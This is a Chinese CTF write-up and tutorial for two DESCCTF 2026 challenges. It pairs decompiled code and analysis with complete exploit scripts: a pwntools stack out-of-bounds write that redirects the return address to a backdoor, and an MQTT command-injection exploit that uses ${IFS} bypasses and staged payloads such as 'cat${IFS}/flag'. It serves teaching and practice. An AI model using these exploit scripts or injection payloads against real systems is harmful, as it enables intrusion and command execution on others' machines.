2026desctf-部分wp
字数 2315
更新时间 2026-03-12 13:11:54
2026 DESCCTF 部分题目Writeup与教学文档
第一题:array
题目信息
题目类型:二进制安全/Pwn
题目名称:array
技术点:栈溢出、随机数利用、栈对齐
漏洞代码分析
核心函数:vuln()
__int64 vuln()
{
unsigned __int64 v1; // rbx
_QWORD v2[17]; // [rsp+0h] [rbp-B0h] BYREF
unsigned __int64 number1; // [rsp+88h] [rbp-28h] BYREF
unsigned __int64 number2[3]; // [rsp+90h] [rbp-20h] BYREF
puts("plz input your number1:");
fflush(stdout);
read(0, &number1, 8u);
if ( number1 <= 0x11 )
{
while ( getchar() != 'D' )
{
getchar();
read(0, number2, 8u);
v2[0] = number2[0];
v1 = number2[0];
if ( v1 > rand() % (number1 + 1) )
{
puts("No!");
}
else
{
puts("plz input your number2:");
read(0, &v2[number2[0] + 1], 8u);
}
}
puts("Ok");
return 0;
}
else
{
puts("No!");
return 0xFFFFFFFFLL;
}
}
关键漏洞点
-
未初始化的随机数种子:程序使用了
rand()函数但未调用srand()初始化种子,导致每次运行生成的随机数序列是固定的、可预测的。 -
数组越界写入:
- 数组
v2的定义为_QWORD v2[17],即17个元素(索引0-16) - 写入位置:
&v2[number2[0] + 1] - 当
number2[0]为0x10时,number2[0] + 1= 0x11,对应索引16,仍在数组有效范围内 - 当
number2[0]为0x16时,number2[0] + 1= 0x17,对应索引22,超出数组边界
- 数组
-
类型处理细节:
read(0, &number1, 8u)向内存直接写入8字节,没有进行数值转换。输入\x11\x00\x00\x00\x00\x00\x00\x00会被当作0x11(17)处理。
利用思路
-
控制随机数条件:由于随机数序列固定,可以预先计算或测试出满足条件的随机数序列。
-
构造越界写入:
- 第一次写入:使
number2[0]= 0x10,将v2[16](数组最后一个元素)修改为一个大值(如0x16) - 第二次写入:使
number2[0]= 0x16,此时写入的目标地址为&v2[0x16+1]=&v2[23] - 栈布局分析:v2数组起始于
rbp-0xB0,计算偏移:- v2[0]: rbp-0xB0
- v2[16]: rbp-0xB0 + 16*8 = rbp-0x30
- v2[23]: rbp-0xB0 + 23*8 = rbp-0x8(接近返回地址位置)
- 第一次写入:使
-
返回地址覆盖:通过越界写入将返回地址修改为后门函数地址。
-
栈对齐问题:x86-64架构在调用函数时要求栈指针16字节对齐,需要添加ret gadget(如0x000000000040101a)调整栈指针。
完整利用脚本
from pwn import *
io = process('./array')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# 初始输入:number1 = 0x11
io.send(b'\x11\x00\x00\x00\x00\x00\x00\x00')
def cyc():
io.sendline(b'a') # 跳过getchar()检查
io.send(b'\x00')
io.recvuntil("plz input your number2:")
io.send(b'\x66\x66\x66\x66')
def change():
io.sendline(b'a')
io.send(b'\x10') # 索引16
io.recvuntil("plz input your number2:")
io.send(b'\x17') # 写入值0x17
def pwn1():
io.sendline(b'a')
io.send(b'\x16') # 索引22(0x16)
io.recvuntil("plz input your number2:")
# 写入ret gadget地址,解决栈对齐
io.send(p64(0x000000000040101a))
def pwn2():
io.sendline(b'a')
io.send(b'\x17') # 索引23(0x17)
io.recvuntil("plz input your number2:")
# 写入后门函数地址
io.send(p64(0x401339))
def exec():
io.sendline(b'D') # 触发循环退出
# 多次调用cyc()控制随机数条件
for _ in range(20):
cyc()
change()
# 继续控制随机数
for _ in range(8):
cyc()
pwn2() # 写入后门函数地址
for _ in range(7):
cyc()
pwn1() # 写入ret gadget
exec() # 退出循环,触发ROP链
io.interactive()
教学要点
- 随机数预测:未初始化的随机数生成器产生的序列是确定性的,在CTF环境中可预测。
- 数组边界计算:准确计算数组索引与内存偏移的关系,特别是QWORD(8字节)数组的偏移计算。
- 栈布局分析:理解函数栈帧结构,包括局部变量排列、保存的rbp和返回地址位置。
- 栈对齐要求:x86-64调用约定要求栈指针在call指令执行时为16的倍数,需要使用ret gadget调整。
第二题:mqtt
题目信息
题目类型:IoT安全/协议利用
题目名称:mqtt
依赖库:libpaho-mqtt3c.so.1
技术点:MQTT协议、命令注入、全局变量利用
程序分析
核心MQTT回调函数
__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
// ... 变量声明
v9 = *(_QWORD *)(a4 + 16);
// 关键过滤逻辑
if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1
&& !strcmp(s1, "httpclient") )
{
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
return 1;
}
else
{
http(v9); // 触发漏洞函数
// ... 清理操作
return 1;
}
}
漏洞函数:http()
// 关键代码段
snprintf(src, 0x80u, "cat /home/ctf/%s", s);
n = strlen(src);
memcpy(cmd, src, n);
if ( !strcmp(s, "index_html") )
{
stream = popen(cmd, "r");
// ... 读取输出
}
漏洞分析
-
过滤绕过:只有当JSON中的
clientid字段值为"httpclient"时,才会被过滤,否则进入http()函数。 -
全局变量利用:
cmd是全局变量,大小为0x80字节- 第一次调用:传入恶意payload,如
"index_html;cat${IFS}/flag#"(#注释后续字符) snprintf生成命令:cat /home/ctf/index_html;cat${IFS}/flag#memcpy复制时不包含末尾的\0,导致全局变量cmd中保留#字符之后的内容
-
命令拼接执行:
- 第二次调用:传入合法值
"index_html" - 生成命令:
cat /home/ctf/index_html - 但
cmd中仍包含第一次调用时#字符后的残留数据 - 最终执行的命令为:
cat /home/ctf/index_html;cat${IFS}/flag
- 第二次调用:传入合法值
利用思路
- 第一阶段:发送恶意MQTT消息,在
cmd全局变量中写入包含命令注入的payload - 第二阶段:发送合法MQTT消息触发
popen()执行 - 利用全局变量残留:由于第一次写入没有null终止符,第二次写入时与残留数据拼接形成完整命令
过滤绕过技巧
- 使用
${IFS}代替空格绕过可能的空格过滤 - 使用
#注释掉第一次payload中不需要的部分 - 通配符使用:
cat${IFS}f*,cat${IFS}*flag*
完整利用脚本
#!/usr/bin/env python3
import socket
import struct
import json
import threading
import time
import random
HOST = "localhost"
PORT = 9999
TOPIC = "test/topic"
class MQTTClient:
def __init__(self, host, port):
self.sock = socket.socket()
self.sock.connect((host, port))
self.running = True
def connect(self, client_id):
# 发送CONNECT包
connect_flags = 0x02 # Clean Session
remaining_length = 10 + 2 + len(client_id)
pkt = bytearray([0x10, remaining_length])
pkt.extend(b"\x00\x04MQTT\x05")
pkt.append(connect_flags)
pkt.extend(b"\x00\x3c") # Keep Alive
pkt.extend(struct.pack("!H", len(client_id)))
pkt.extend(client_id.encode())
self.sock.send(pkt)
def publish(self, topic, payload, qos=0):
fixed_header = 0x30 # PUBLISH
remaining_length = 2 + len(topic) + len(payload)
if qos > 0:
remaining_length += 2
pkt = bytearray([fixed_header, remaining_length])
pkt.extend(struct.pack("!H", len(topic)))
pkt.extend(topic.encode())
pkt.extend(payload.encode())
self.sock.send(pkt)
def subscribe(self, topic, qos=0):
pkt_id = random.randint(1, 0xffff)
remaining_length = 2 + 2 + len(topic) + 1
pkt = bytearray([0x82, remaining_length])
pkt.extend(struct.pack("!H", pkt_id))
pkt.extend(struct.pack("!H", len(topic)))
pkt.extend(topic.encode())
pkt.append(qos)
self.sock.send(pkt)
def close(self):
self.sock.close()
def trigger(cmd):
client = MQTTClient(HOST, PORT)
client.connect("attacker")
# 第一阶段:写入恶意命令到全局变量
payload1 = {
"clientid": "nothttpclient", # 绕过过滤
"message": f"index_html;{cmd}#"
}
client.publish(TOPIC, json.dumps(payload1))
time.sleep(0.5)
# 第二阶段:触发命令执行
payload2 = {
"clientid": "nothttpclient",
"message": "index_html"
}
client.publish(TOPIC, json.dumps(payload2))
client.close()
def reader_loop(sub):
while sub.running:
try:
data = sub.sock.recv(1024)
if not data:
break
# 解析MQTT响应
# ... 省略解析代码
except:
break
def main():
sub = MQTTClient(HOST, PORT)
sub.connect(f"sub{random.randint(1000,9999)}")
sub.subscribe(TOPIC, qos=0)
# 启动监听线程
t = threading.Thread(target=reader_loop, args=(sub,), daemon=True)
t.start()
time.sleep(3) # 等待连接稳定
# 尝试多种命令
cmds = [
"echo${IFS}PWNED",
"echo${IFS}$PWD",
"cat${IFS}/flag",
"cat${IFS}f*",
"cat${IFS}flag*",
"cat${IFS}*flag*",
]
for cmd in cmds:
try:
trigger(cmd)
except Exception as e:
print(f"[!] Error executing {cmd}: {e}")
time.sleep(5)
sub.running = False
sub.close()
if __name__ == "__main__":
main()
教学要点
- MQTT协议基础:理解CONNECT、PUBLISH、SUBSCRIBE等控制包格式
- 全局变量生命周期:理解全局变量在多次函数调用间的持久性
- 命令注入技巧:
- 使用
${IFS}绕过空格限制 - 使用
#注释符截断不需要的命令部分 - 分阶段攻击:先污染,后触发
- 使用
- 字符串处理漏洞:
memcpy不复制null终止符的风险- 缓冲区残留数据导致的命令拼接
- IoT安全特性:MQTT作为物联网常用协议的安全考虑
总结与扩展
这两道题目涵盖了二进制安全和物联网安全两个重要方向:
-
array题目重点:
- 栈溢出利用的精确计算
- 随机数预测在CTF中的常见应用
- 栈对齐问题的识别与解决
- 返回导向编程(ROP)的基本应用
-
mqtt题目重点:
- 协议层面的安全分析
- 全局变量在多次调用间的状态保持
- 命令注入的多阶段利用
- 字符串处理漏洞的实战利用
建议学习者:
- 在本地搭建环境复现漏洞
- 对array题目,尝试不同随机数种子的情况
- 对mqtt题目,尝试其他过滤绕过方式
- 分析两种漏洞的防御方法(栈保护、ASLR、输入验证、安全的字符串处理等)
相似文章
相似文章